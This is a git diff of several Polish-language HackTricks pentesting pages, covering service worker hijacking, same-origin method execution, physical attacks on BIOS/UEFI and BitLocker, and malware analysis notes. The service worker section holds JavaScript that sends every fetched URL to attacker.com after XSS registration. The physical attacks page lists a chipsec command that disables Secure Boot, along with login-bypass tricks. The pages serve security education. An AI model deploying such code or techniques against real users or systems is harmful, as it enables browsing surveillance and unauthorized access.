**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Basic Information
|
||||
|
||||
**Service worker** to skrypt uruchamiany przez przeglądarkę w tle, oddzielony od jakiejkolwiek strony internetowej, umożliwiający funkcje, które nie wymagają strony internetowej ani interakcji użytkownika, co zwiększa możliwości **pracy offline i w tle**. Szczegółowe informacje na temat service workerów można znaleźć [tutaj](https://developers.google.com/web/fundamentals/primers/service-workers). Wykorzystując service workery w ramach podatnej domeny internetowej, atakujący mogą przejąć kontrolę nad interakcjami ofiary ze wszystkimi stronami w tej domenie.
|
||||
|
||||
|
||||
### Checking for Existing Service Workers
|
||||
|
||||
Istniejące service workery można sprawdzić w sekcji **Service Workers** w zakładce **Application** w **Narzędziach deweloperskich**. Inną metodą jest odwiedzenie [chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals) w celu uzyskania bardziej szczegółowego widoku.
|
||||
|
@ -40,19 +29,19 @@ Istniejące service workery można sprawdzić w sekcji **Service Workers** w zak
|
|||
|
||||
## Attack Creating a Service Worker
|
||||
|
||||
Aby wykorzystać tę lukę, musisz znaleźć:
|
||||
Aby wykorzystać tę podatność, musisz znaleźć:
|
||||
|
||||
* Sposób na **przesłanie dowolnych plików JS** na serwer oraz **XSS do załadowania service workera** przesłanego pliku JS
|
||||
* **Podatne żądanie JSONP**, w którym możesz **manipulować wyjściem (z dowolnym kodem JS)** oraz **XSS** do **załadowania JSONP z ładunkiem**, który **załaduje złośliwego service workera**.
|
||||
|
||||
W następującym przykładzie zaprezentuję kod do **rejestracji nowego service workera**, który będzie nasłuchiwał zdarzenia `fetch` i **wyśle do serwera atakującego każdą pobraną URL** (to jest kod, który musisz **przesłać** na **serwer** lub załadować za pomocą **podatnej odpowiedzi JSONP**):
|
||||
W następującym przykładzie zaprezentuję kod do **rejestrowania nowego service workera**, który będzie nasłuchiwał zdarzenia `fetch` i **wyśle do serwera atakującego każdą pobraną URL** (to jest kod, który musisz **przesłać** na **serwer** lub załadować za pomocą **podatnej odpowiedzi JSONP**):
|
||||
```javascript
|
||||
self.addEventListener('fetch', function(e) {
|
||||
e.respondWith(caches.match(e.request).then(function(response) {
|
||||
fetch('https://attacker.com/fetch_url/' + e.request.url)
|
||||
});
|
||||
```
|
||||
A oto kod, który **zarejestruje pracownika** (kod, który powinieneś być w stanie wykonać, wykorzystując **XSS**). W tym przypadku **żądanie GET** zostanie wysłane do serwera **atakującego**, **informując**, czy **rejestracja** pracownika serwisowego była udana, czy nie:
|
||||
I oto kod, który **zarejestruje pracownika** (kod, który powinieneś być w stanie wykonać, wykorzystując **XSS**). W tym przypadku **żądanie GET** zostanie wysłane do serwera **atakującego**, **informując**, czy **rejestracja** pracownika serwisowego była udana, czy nie:
|
||||
```javascript
|
||||
<script>
|
||||
window.addEventListener('load', function() {
|
||||
|
@ -80,9 +69,9 @@ The **24-hour cache directive** limits the life of a malicious or compromised **
|
|||
|
||||
## Abusing `importScripts` in a SW via DOM Clobbering
|
||||
|
||||
Funkcja **`importScripts`** wywołana z Service Worker może **zaimportować skrypt z innej domeny**. Jeśli ta funkcja jest wywoływana z użyciem **parametru, który mógłby** zmodyfikować atakujący, mógłby **zaimportować skrypt JS z jego domeny** i uzyskać XSS.
|
||||
The function **`importScripts`** called from a Service Worker can **import a script from a different domain**. If this function is called using a **parameter that an attacker could** modify he would be able to **import a JS script from his domain** and get XSS.
|
||||
|
||||
**To nawet omija zabezpieczenia CSP.**
|
||||
**This even bypasses CSP protections.**
|
||||
|
||||
**Example vulnerable code:**
|
||||
|
||||
|
@ -116,23 +105,17 @@ Aby zobaczyć przykład, sprawdź link referencyjny.
|
|||
|
||||
* [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Wsparcie HackTricks</summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,27 +15,13 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) to **silnik wyszukiwania** zasilany **dark-web**, który oferuje **darmowe** funkcjonalności do sprawdzenia, czy firma lub jej klienci zostali **skompromentowani** przez **złośliwe oprogramowanie kradnące**.
|
||||
|
||||
Ich głównym celem jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.
|
||||
|
||||
Możesz sprawdzić ich stronę internetową i wypróbować ich silnik za **darmo** pod adresem:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Wykonanie Metody Tego Samego Pochodzenia
|
||||
|
||||
Będą sytuacje, w których możesz wykonać ograniczony javascript na stronie. Na przykład, w przypadku, gdy możesz [**kontrolować wartość callback, która zostanie wykonana**](./#javascript-function).
|
||||
Będą sytuacje, w których możesz wykonać ograniczony javascript na stronie. Na przykład, w przypadku, gdy możesz[ **kontrolować wartość zwrotną, która zostanie wykonana**](./#javascript-function).
|
||||
|
||||
W takich przypadkach jedną z najlepszych rzeczy, które możesz zrobić, jest **dostęp do DOM, aby wywołać jakąkolwiek** wrażliwą akcję, którą możesz tam znaleźć (jak kliknięcie przycisku). Jednak zazwyczaj znajdziesz tę lukę w **małych punktach końcowych bez żadnych interesujących rzeczy w DOM**.
|
||||
W takich przypadkach jedną z najlepszych rzeczy, które możesz zrobić, jest **dostęp do DOM, aby wywołać dowolną** wrażliwą akcję, którą możesz tam znaleźć (jak kliknięcie przycisku). Jednak zazwyczaj znajdziesz tę lukę w **małych punktach końcowych bez żadnych interesujących rzeczy w DOM**.
|
||||
|
||||
W tych scenariuszach ten atak będzie bardzo przydatny, ponieważ jego celem jest możliwość **nadużycia ograniczonego wykonania JS wewnątrz DOM z innej strony z tej samej domeny** z wieloma interesującymi akcjami.
|
||||
W tych scenariuszach, ta atak będzie bardzo przydatny, ponieważ jego celem jest **nadużycie ograniczonego wykonania JS wewnątrz DOM z innej strony z tej samej domeny** z wieloma interesującymi akcjami.
|
||||
|
||||
Zasadniczo, przepływ ataku jest następujący:
|
||||
|
||||
|
@ -49,7 +35,7 @@ Zasadniczo, przepływ ataku jest następujący:
|
|||
{% hint style="danger" %}
|
||||
Zauważ, że nawet jeśli początkowa strona uzyskuje dostęp do nowego URL po utworzeniu drugiej strony, **obiekt `opener` drugiej strony jest nadal ważnym odniesieniem do pierwszej strony w nowym DOM**.
|
||||
|
||||
Ponadto, aby druga strona mogła używać obiektu opener, **obie strony muszą być w tym samym pochodzeniu**. To jest powód, dla którego, aby nadużyć tę lukę, musisz znaleźć jakiś rodzaj **XSS w tym samym pochodzeniu**.
|
||||
Co więcej, aby druga strona mogła używać obiektu opener, **obie strony muszą być w tym samym pochodzeniu**. To jest powód, dla którego, aby nadużyć tę lukę, musisz znaleźć jakiś rodzaj **XSS w tym samym pochodzeniu**.
|
||||
{% endhint %}
|
||||
|
||||
### Wykorzystanie
|
||||
|
@ -60,7 +46,7 @@ Ponadto, aby druga strona mogła używać obiektu opener, **obie strony muszą b
|
|||
### Przykład
|
||||
|
||||
* Możesz znaleźć wrażliwy przykład w [https://www.someattack.com/Playground/](https://www.someattack.com/Playground/)
|
||||
* Zauważ, że w tym przykładzie serwer **generuje kod javascript** i **dodaje** go do HTML na podstawie **zawartości parametru callback:** `<script>opener.{callbacl_content}</script>`. Dlatego w tym przykładzie nie musisz wskazywać użycia `opener` explicite.
|
||||
* Zauważ, że w tym przykładzie serwer **generuje kod javascript** i **dodaje** go do HTML na podstawie **zawartości parametru callback:** `<script>opener.{callbacl_content}</script>`. Dlatego w tym przykładzie nie musisz wskazywać użycia `opener` w sposób expliczny.
|
||||
* Sprawdź również ten opis CTF: [https://ctftime.org/writeup/36068](https://ctftime.org/writeup/36068)
|
||||
|
||||
## Odniesienia
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# Fizyczne Ataki
|
||||
# Ataki Fizyczne
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
@ -10,88 +10,62 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
|
||||
* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) to wyszukiwarka zasilana **dark-web**, która oferuje **darmowe** funkcjonalności do sprawdzenia, czy firma lub jej klienci zostali **skompromentowani** przez **złośliwe oprogramowanie kradnące**.
|
||||
|
||||
Głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.
|
||||
|
||||
Możesz sprawdzić ich stronę internetową i wypróbować ich silnik za **darmo** pod adresem:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
---
|
||||
|
||||
## Odzyskiwanie hasła BIOS i bezpieczeństwo systemu
|
||||
## Odzyskiwanie Hasła BIOS i Bezpieczeństwo Systemu
|
||||
|
||||
**Resetowanie BIOS-u** można osiągnąć na kilka sposobów. Większość płyt głównych zawiera **baterię**, która, gdy zostanie usunięta na około **30 minut**, zresetuje ustawienia BIOS-u, w tym hasło. Alternatywnie, można dostosować **jumper na płycie głównej**, aby zresetować te ustawienia, łącząc określone piny.
|
||||
|
||||
W sytuacjach, gdy dostosowania sprzętowe nie są możliwe lub praktyczne, **narzędzia programowe** oferują rozwiązanie. Uruchomienie systemu z **Live CD/USB** z dystrybucjami takimi jak **Kali Linux** zapewnia dostęp do narzędzi takich jak **_killCmos_** i **_CmosPWD_**, które mogą pomóc w odzyskiwaniu hasła BIOS.
|
||||
|
||||
W przypadkach, gdy hasło BIOS jest nieznane, wprowadzenie go błędnie **trzy razy** zazwyczaj skutkuje kodem błędu. Ten kod można wykorzystać na stronach takich jak [https://bios-pw.org](https://bios-pw.org), aby potencjalnie odzyskać użyteczne hasło.
|
||||
W przypadkach, gdy hasło BIOS jest nieznane, wprowadzenie go błędnie **trzy razy** zazwyczaj skutkuje kodem błędu. Kod ten można wykorzystać na stronach takich jak [https://bios-pw.org](https://bios-pw.org), aby potencjalnie odzyskać użyteczne hasło.
|
||||
|
||||
### Bezpieczeństwo UEFI
|
||||
|
||||
Dla nowoczesnych systemów używających **UEFI** zamiast tradycyjnego BIOS-u, narzędzie **chipsec** może być wykorzystane do analizy i modyfikacji ustawień UEFI, w tym wyłączania **Secure Boot**. Można to osiągnąć za pomocą następującego polecenia:
|
||||
Dla nowoczesnych systemów używających **UEFI** zamiast tradycyjnego BIOS-u, narzędzie **chipsec** może być wykorzystane do analizy i modyfikacji ustawień UEFI, w tym wyłączenia **Secure Boot**. Można to osiągnąć za pomocą następującego polecenia:
|
||||
|
||||
`python chipsec_main.py -module exploits.secure.boot.pk`
|
||||
|
||||
### Analiza RAM i ataki zimnego uruchomienia
|
||||
### Analiza RAM i Ataki Cold Boot
|
||||
|
||||
RAM przechowuje dane krótko po odcięciu zasilania, zazwyczaj przez **1 do 2 minut**. Ta trwałość może być wydłużona do **10 minut** poprzez zastosowanie zimnych substancji, takich jak ciekły azot. W tym wydłużonym okresie można utworzyć **zrzut pamięci** za pomocą narzędzi takich jak **dd.exe** i **volatility** do analizy.
|
||||
RAM przechowuje dane przez krótki czas po odcięciu zasilania, zazwyczaj przez **1 do 2 minut**. Ta trwałość może być wydłużona do **10 minut** poprzez zastosowanie zimnych substancji, takich jak azot ciekły. W tym wydłużonym okresie można utworzyć **zrzut pamięci** za pomocą narzędzi takich jak **dd.exe** i **volatility** do analizy.
|
||||
|
||||
### Ataki Direct Memory Access (DMA)
|
||||
|
||||
**INCEPTION** to narzędzie zaprojektowane do **manipulacji pamięcią fizyczną** przez DMA, kompatybilne z interfejsami takimi jak **FireWire** i **Thunderbolt**. Umożliwia to ominięcie procedur logowania poprzez patchowanie pamięci, aby akceptowała dowolne hasło. Jednak jest nieskuteczne przeciwko systemom **Windows 10**.
|
||||
|
||||
### Live CD/USB do uzyskania dostępu do systemu
|
||||
### Live CD/USB do Dostępu do Systemu
|
||||
|
||||
Zmiana binariów systemowych, takich jak **_sethc.exe_** lub **_Utilman.exe_**, na kopię **_cmd.exe_** może zapewnić dostęp do wiersza poleceń z uprawnieniami systemowymi. Narzędzia takie jak **chntpw** mogą być używane do edytowania pliku **SAM** instalacji Windows, co pozwala na zmianę hasła.
|
||||
Zmiana binariów systemowych, takich jak **_sethc.exe_** lub **_Utilman.exe_**, na kopię **_cmd.exe_** może zapewnić dostęp do wiersza poleceń z uprawnieniami systemowymi. Narzędzia takie jak **chntpw** mogą być używane do edytowania pliku **SAM** instalacji Windows, co pozwala na zmianę haseł.
|
||||
|
||||
**Kon-Boot** to narzędzie, które ułatwia logowanie do systemów Windows bez znajomości hasła, tymczasowo modyfikując jądro Windows lub UEFI. Więcej informacji można znaleźć na stronie [https://www.raymond.cc](https://www.raymond.cc/blog/login-to-windows-administrator-and-linux-root-account-without-knowing-or-changing-current-password/).
|
||||
**Kon-Boot** to narzędzie, które ułatwia logowanie do systemów Windows bez znajomości hasła, tymczasowo modyfikując jądro Windows lub UEFI. Więcej informacji można znaleźć na [https://www.raymond.cc](https://www.raymond.cc/blog/login-to-windows-administrator-and-linux-root-account-without-knowing-or-changing-current-password/).
|
||||
|
||||
### Obsługa funkcji zabezpieczeń Windows
|
||||
### Obsługa Funkcji Bezpieczeństwa Windows
|
||||
|
||||
#### Skróty do uruchamiania i odzyskiwania
|
||||
#### Skróty do Rozruchu i Odzyskiwania
|
||||
|
||||
- **Supr**: Dostęp do ustawień BIOS.
|
||||
- **F8**: Wejście w tryb odzyskiwania.
|
||||
- Naciśnięcie **Shift** po banerze Windows może obejść autologowanie.
|
||||
- Naciśnięcie **Shift** po banerze Windows może ominąć autologowanie.
|
||||
|
||||
#### ZŁE urządzenia USB
|
||||
#### Złe Urządzenia USB
|
||||
|
||||
Urządzenia takie jak **Rubber Ducky** i **Teensyduino** służą jako platformy do tworzenia **złych urządzeń USB**, zdolnych do wykonywania zdefiniowanych ładunków po podłączeniu do docelowego komputera.
|
||||
|
||||
#### Kopia zapasowa woluminu
|
||||
#### Kopia Cienia Woluminu
|
||||
|
||||
Uprawnienia administratora pozwalają na tworzenie kopii wrażliwych plików, w tym pliku **SAM**, za pomocą PowerShell.
|
||||
|
||||
### Ominięcie szyfrowania BitLocker
|
||||
### Ominięcie Szyfrowania BitLocker
|
||||
|
||||
Szyfrowanie BitLocker można potencjalnie obejść, jeśli **hasło odzyskiwania** zostanie znalezione w pliku zrzutu pamięci (**MEMORY.DMP**). Narzędzia takie jak **Elcomsoft Forensic Disk Decryptor** lub **Passware Kit Forensic** mogą być wykorzystane w tym celu.
|
||||
Szyfrowanie BitLocker może być potencjalnie ominięte, jeśli **hasło odzyskiwania** zostanie znalezione w pliku zrzutu pamięci (**MEMORY.DMP**). Narzędzia takie jak **Elcomsoft Forensic Disk Decryptor** lub **Passware Kit Forensic** mogą być wykorzystane w tym celu.
|
||||
|
||||
### Inżynieria społeczna w celu dodania klucza odzyskiwania
|
||||
### Inżynieria Społeczna dla Dodania Klucza Odzyskiwania
|
||||
|
||||
Nowy klucz odzyskiwania BitLocker można dodać za pomocą taktyk inżynierii społecznej, przekonując użytkownika do wykonania polecenia, które dodaje nowy klucz odzyskiwania składający się z zer, co upraszcza proces deszyfrowania.
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) to wyszukiwarka zasilana **dark-web**, która oferuje **darmowe** funkcjonalności do sprawdzenia, czy firma lub jej klienci zostali **skompromentowani** przez **złośliwe oprogramowanie kradnące**.
|
||||
|
||||
Głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.
|
||||
|
||||
Możesz sprawdzić ich stronę internetową i wypróbować ich silnik za **darmo** pod adresem:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
Nowy klucz odzyskiwania BitLocker może być dodany za pomocą taktyk inżynierii społecznej, przekonując użytkownika do wykonania polecenia, które dodaje nowy klucz odzyskiwania składający się z zer, co upraszcza proces deszyfrowania.
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
@ -103,7 +77,7 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
|
||||
* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -10,19 +10,11 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
* **Podziel się sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Generic
|
||||
|
||||
### Networking
|
||||
|
@ -99,8 +91,8 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
* GetAsyncKeyState() -- Rejestrowanie klawiszy
|
||||
* SetWindowsHookEx -- Rejestrowanie klawiszy
|
||||
* GetForeGroundWindow -- Uzyskanie nazwy działającego okna (lub strony internetowej z przeglądarki)
|
||||
* LoadLibrary() -- Import biblioteki
|
||||
* GetProcAddress() -- Import biblioteki
|
||||
* LoadLibrary() -- Importowanie biblioteki
|
||||
* GetProcAddress() -- Importowanie biblioteki
|
||||
* CreateToolhelp32Snapshot() -- Lista działających procesów
|
||||
* GetDC() -- Zrzut ekranu
|
||||
* BitBlt() -- Zrzut ekranu
|
||||
|
@ -141,11 +133,11 @@ Wstrzykiwanie Portable Execution: Wykonywalny kod zostanie zapisany w pamięci p
|
|||
|
||||
### Process Hollowing
|
||||
|
||||
Złośliwe oprogramowanie usunie legalny kod z pamięci procesu i załaduje złośliwy plik binarny
|
||||
Złośliwe oprogramowanie usunie legalny kod z pamięci procesu i załaduje złośliwy binarny
|
||||
|
||||
1. Utwórz nowy proces: CreateProcess
|
||||
2. Usuń mapę pamięci: ZwUnmapViewOfSection, NtUnmapViewOfSection
|
||||
3. Zapisz złośliwy plik binarny w pamięci procesu: VirtualAllocEc, WriteProcessMemory
|
||||
3. Zapisz złośliwy binarny w pamięci procesu: VirtualAllocEc, WriteProcessMemory
|
||||
4. Ustaw punkt wejścia i wykonaj: SetThreadContext, ResumeThread
|
||||
|
||||
## Hooking
|
||||
|
@ -157,12 +149,6 @@ Złośliwe oprogramowanie usunie legalny kod z pamięci procesu i załaduje zło
|
|||
* **EAT** (**Export Address Table**) Hooki. Te hooki mogą być realizowane z **userland**. Celem jest podłączenie funkcji eksportowanych przez DLL.
|
||||
* **Inline Hooks**: Ten typ jest trudny do osiągnięcia. To wiąże się z modyfikowaniem kodu samych funkcji. Może poprzez umieszczenie skoku na początku tego.
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
@ -173,7 +159,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
* **Podziel się sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,14 +15,6 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Narzędzia do Reversingu oparte na ImGui
|
||||
|
||||
Oprogramowanie:
|
||||
|
@ -46,25 +38,25 @@ Oprogramowanie:
|
|||
|
||||
### [dotPeek](https://www.jetbrains.com/decompiler/)
|
||||
|
||||
dotPeek to decompiler, który **dekompiluje i bada wiele formatów**, w tym **biblioteki** (.dll), **pliki metadanych Windows** (.winmd) i **wykonywalne** (.exe). Po dekompilacji, zestaw można zapisać jako projekt Visual Studio (.csproj).
|
||||
dotPeek to decompiler, który **dekompiluje i bada wiele formatów**, w tym **biblioteki** (.dll), **pliki metadanych Windows** (.winmd) oraz **wykonywalne** (.exe). Po dekompilacji, zestaw można zapisać jako projekt Visual Studio (.csproj).
|
||||
|
||||
Zaletą jest to, że jeśli utracony kod źródłowy wymaga przywrócenia z przestarzałego zestawu, ta akcja może zaoszczędzić czas. Ponadto, dotPeek zapewnia wygodną nawigację po dekompilowanym kodzie, co czyni go jednym z idealnych narzędzi do **analizy algorytmu Xamarin.**
|
||||
Zaletą jest to, że jeśli utracony kod źródłowy wymaga przywrócenia z przestarzałego zestawu, ta akcja może zaoszczędzić czas. Dodatkowo, dotPeek zapewnia wygodną nawigację po zdekompilowanym kodzie, co czyni go jednym z idealnych narzędzi do **analizy algorytmów Xamarin.**
|
||||
|
||||
### [.NET Reflector](https://www.red-gate.com/products/reflector/)
|
||||
|
||||
Dzięki wszechstronnemu modelowi dodatków i API, które rozszerza narzędzie, aby dostosować je do Twoich dokładnych potrzeb, .NET Reflector oszczędza czas i upraszcza rozwój. Przyjrzyjmy się bogactwu usług inżynierii wstecznej, które to narzędzie oferuje:
|
||||
Dzięki wszechstronnemu modelowi dodatków i API, które rozszerza narzędzie, aby dostosować je do Twoich dokładnych potrzeb, .NET Reflector oszczędza czas i upraszcza rozwój. Przyjrzyjmy się bogactwu usług inżynierii odwrotnej, które to narzędzie oferuje:
|
||||
|
||||
* Zapewnia wgląd w to, jak dane przepływają przez bibliotekę lub komponent
|
||||
* Zapewnia wgląd w implementację i użycie języków i frameworków .NET
|
||||
* Znajduje nieudokumentowane i nieujawnione funkcjonalności, aby uzyskać więcej z używanych API i technologii.
|
||||
* Znajduje zależności i różne zestawy
|
||||
* Śledzi dokładne miejsce błędów w Twoim kodzie, komponentach i bibliotekach zewnętrznych.
|
||||
* Śledzi dokładne miejsce błędów w Twoim kodzie, komponentach i bibliotekach osób trzecich.
|
||||
* Debuguje źródło całego kodu .NET, z którym pracujesz.
|
||||
|
||||
### [ILSpy](https://github.com/icsharpcode/ILSpy) & [dnSpy](https://github.com/dnSpy/dnSpy/releases)
|
||||
|
||||
[Plugin ILSpy dla Visual Studio Code](https://github.com/icsharpcode/ilspy-vscode): Możesz go mieć na dowolnym systemie operacyjnym (możesz zainstalować go bezpośrednio z VSCode, nie ma potrzeby pobierania gita. Kliknij na **Rozszerzenia** i **wyszukaj ILSpy**).\
|
||||
Jeśli potrzebujesz **dekompilować**, **modyfikować** i **ponownie kompilować**, możesz użyć [**dnSpy**](https://github.com/dnSpy/dnSpy/releases) lub aktywnie utrzymywanego forka, [**dnSpyEx**](https://github.com/dnSpyEx/dnSpy/releases). (**Kliknij prawym przyciskiem -> Modyfikuj metodę**, aby zmienić coś wewnątrz funkcji).
|
||||
